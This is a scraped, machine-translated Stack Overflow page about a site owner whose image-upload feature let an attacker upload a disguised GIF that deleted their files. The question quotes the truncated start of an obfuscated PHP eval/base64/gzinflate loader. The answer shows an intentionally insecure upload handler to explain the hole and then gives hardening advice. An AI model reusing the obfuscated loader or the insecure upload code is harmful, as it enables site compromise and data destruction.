- iOS/Objective-C 元类和类别
- objective-c - -1001 错误,当 NSURLSession 通过 httpproxy 和/etc/hosts
- java - 使用网络类获取 url 地址
- ios - 推送通知中不播放声音
我有一个Linux服务器,我在我的网站上有一个上传图片,注册的用户可以上传他的图片,当他登录到他的个人资料时他可以看到他的图片,他也可以得到他的url链接image ,所以图片上传到服务器的WWW/img目录下我正在检查 php 文件的扩展名,只允许 (.png ,.gif,.jpg) 文件
但我不知道为什么有人上传了 gif 图像并删除了我所有的文件,我得到了用户上传的图像,因为我们正在进行 RAID,图像的内容有点像...... .
function vUMmFr($MkUOmK){$MkUOmK=gzinflate(base64_decode($MkUOmK));for($i=0;$i<strlen($MkUOmK);$i++){$MkUOmK[$i]=chr(ord($MkUOmK[$i])-1)}return $MkUOmK}eval(vUMmFr("7b1pe+M2sij8ved55j............
what is this , how this happened , how all the files got deleted ? what language is this , how can i protect the files from deleting ..
最佳答案
您可能有一个写得非常糟糕的文件上传处理程序,它盲目地相信用户提供的内容,将具有用户提供的原始文件名的文件放入您的 webroot 中的可公开访问的目录中。简而言之,您的文件上传脚本相当于一个闪烁的大 NEON ,“HACK ME!”。
例如,像这样:
<?php
if ($_FILES['file']['type'] == 'image/gif') {
move_uploaded_files($_FILES['file']['tmp_name'], '/some/path/in/your/docroot/' . $_FILES['file']['name']);
}
这里有错误的地方:
['type']
字段是用户提供的数据 - 恶意用户可以轻松伪造该 mime 类型。他们可以很容易地上传“somescript.php”,但将其标记为图像。['name']
参数作为您存储文件的路径的一部分。同样,这是在用户的控制之下。一个恶意用户和您的服务器冲进马桶。简而言之,在处理文件上传时,您将文件视为离爆炸还有 0.001 秒的准备爆炸的核弹。您不使用原始文件名存储它。您不会将其存储在用户可以获取的任何地方。您不使用可预测的文件名存储它。您对文件进行服务器端验证。您掀起文件的裙子,查看引擎盖下,以确保它是它应该的样子……即使那样您仍然认为它在撒谎。
关于php - 有什么缺点,上传文件一定要注意,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/12549454/
我有以下正则表达式 /[a-zA-Z0-9_-]/ 当字符串只包含从 a 到z 大小写、数字、_ 和 -。 我的代码有什么问题? 能否请您向我提供一个简短的解释和有关如何修复它的代码示例? //var
我是一名优秀的程序员,十分优秀!